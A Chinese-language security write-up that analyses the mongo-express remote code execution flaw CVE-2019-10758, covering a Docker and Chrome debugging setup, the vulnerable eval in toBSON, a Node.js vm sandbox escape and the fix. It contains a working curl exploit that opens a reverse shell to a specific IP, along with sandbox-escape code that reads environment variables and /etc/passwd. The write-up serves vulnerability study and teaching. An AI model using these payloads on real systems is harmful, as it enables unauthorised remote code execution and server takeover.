mongo-express 远程代码执行漏洞分析

搭建调试环境，调试 CVE-2019-10758 漏洞，学习nodejs 沙箱绕过，以及nodejs 远程调试。目前网上关于该漏洞的基于docker的远程调试分析写的很泛，本文从初学者角度分析调试漏洞成因，特别是在chrome浏览器调试nodejs上花了点篇幅。

0x01 认识 mongo-express

mongo-express是一个MongoDB的Admin Web管理界面，使用NodeJS、Express、Bootstrap3编写而成。目前mongo-express应该是Github上Star最多的MongoDB admin管理界面。部署方便，使用简单，成为了很多人管理mongo的选择。

0x02 调试环境搭建

0x1 启动docker服务

阅读官方GitHub的安全公告，我们发现漏洞影响0.54.0以下的所有版本。选择以0.49为例进行测试，由于此漏洞环境还需要MongoDB数据库，我们可以通过执行以下docker命令进行快速搭建：

● 搭建MongoDB数据库

docker run --name test -d mongo:3.2

● 搭建包含漏洞的mongo-express并且连接到上面的MongoDB数据库：

docker run -d -p 8081:8081  --link test:mongo mongo-express:0.49

查看日志，确认连接成功。

0x2 开启nodejs调试选项

这里需要个技巧，如果要调试nodejs 需要在启动的时候加上 --inspect 参数。在docker启动脚本做以下修改

docker restart 183

利用docker exec -it 183 bash连接docker查看debug服务是否开启

如上图中开启9229端口即可。只需要外面主机能够连接访问9229端口就可以利用chrome插件进行调试，可以用frp将端口转发出来，或者利用docker -p 9229:9229参数做处理。

0x3 Chrome DevTools

利用chrome 插件可以实现像调试javascript脚本一样调试nodejs，操作起来也是很方便。首先下载debug插件

在chrome打开about:inspectchrome devtools在2016年5月就已经支持Nodejs的调试，点击Open dedicated DevTools for Node

配置连接地址和端口

接下来就像调试js一样了

发送一个测试包，该路由分支可以断下，接下来就开始调试本次漏洞了。

curl http://127.0.0.1:8081/checkValid -d 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash -i >& /dev/tcp/192.168.43.176/8003 0>&1 2>&1")'

0x03 漏洞调试及原理分析

本次调试的漏洞原理比较简单，核心漏洞是命令拼接，这是一种最简单的漏洞形式，但是利用起来需要点功夫，因为需要绕过沙箱VM，好在nodejs的vm绕过有过研究基础。多的不说，直接看最后的漏洞代码

string为toBSON的参数，在MongoDB中BSON是一种常见的数据格式，与JSON是近亲，但是和JSON的数据格式有很多区别，而然在mongo-express中的所有和BSON相关的操作，如新建一个文档（类似其他数据库的插入操作）都需要通过toBSON()函数。

例如下面操作

当代码流程走到bson.toBSON时会触发eval函数，因为nodejs可以作为后端语言所以该eval函数是在服务器端运行，可以造成命令注入，对系统产生危害

exp.checkValid = function (req, res) {
    var doc = req.body.document;
    try {
      bson.toBSON(doc);
    } catch (err) {
      console.error(err);
      return res.send('Invalid');
    }
    res.send('Valid');
  };
exports.toBSON = function (string) {
  var sandbox = exports.getSandbox();
  string = string.replace(/ISODate\(/g, 'new ISODate(');
  string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');
  vm.runInNewContext('doc = eval((' + string + '));', sandbox);
  return sandbox.doc;
};

由代码溯源分析得到，toBSON的参数string是req.body中的document，因此这一部分我们可控。可以发现vm.runInNewContext函数，这是一个虚拟沙箱。因此们下一节分析怎么绕过沙箱防护。

0x04 nodejs 沙箱绕过

沙箱是一个能够安全执行不受信任的代码，且不影响外部实际代码的独立环境。在沙箱里代码执行往往会被限制。VM模块提供在VM虚拟机上下文中编译运行代码的API。使用VM模块可以在沙箱环境中运行代码。运行的代码使用不同的V8上下文，也就是它的全局变量不同于其他代码。但是沙箱里的代码仍然可以访问Node进程。我们经常使用该方法去绕过。

0x1 现象

vm.js

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(xyz);

可以看到this.process.env获取到了nodejs进程的信息，这说明完全可以切回主程序去执行系统命令。

0x2 解释

在javascript中this指向它所属的对象，所以我们使用它时就已经指向了一个VM上下文之外的对象。那么访问this的 .constructor 就返回 Object Constructor ，访问 Object Constructor 的 .constructor 返回 Function constructor 。Function constructor 就像javascript里的最高函数它允许全局访问。Function constructor允许从字符串生成函数，从而执行任意代码。所以我们可以利用它返回主进程。之后我们就能用它来访问主进程，然后进行RCE。

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);
console.log(xyz);

同理vm2 函数也可以绕过，这里还是参照原文进行学习吧  

https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html

0x05 漏洞修补

这里放两个图可以说明一切，利用mongo-query-parser 去解析BSON数据，直接从根源替换。

DoraBox之代码执行（通过DoraBox靶场系列闯关练习，理解代码执行及命令执行漏洞的原理与利用过程。）

本文作者：合天网安实验室

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